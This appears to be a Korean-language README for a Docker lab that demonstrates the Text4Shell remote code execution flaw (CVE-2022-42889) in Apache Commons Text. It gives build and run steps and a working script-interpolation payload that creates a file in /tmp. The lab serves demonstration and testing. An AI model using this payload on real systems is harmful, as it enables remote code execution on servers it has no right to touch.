dima2021/cve-2022-42889-text4shellApache Commons Text의 CVE-2022-42889(Text4Shell) 원격 코드 실행 취약점을 시연하고 테스트하기 위한 Docker 기반 랩 환경.
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
dns 또는 url prefix를 사용해 볼 수도 있습니다.
컨테이너 ID 확인
docker container ls
docker exec -it <container_id> bash
/tmp 디렉터리에 foo라는 파일이 생성된 것을 볼 수 있어야 합니다):ls /tmp/
docker container stop <container_id>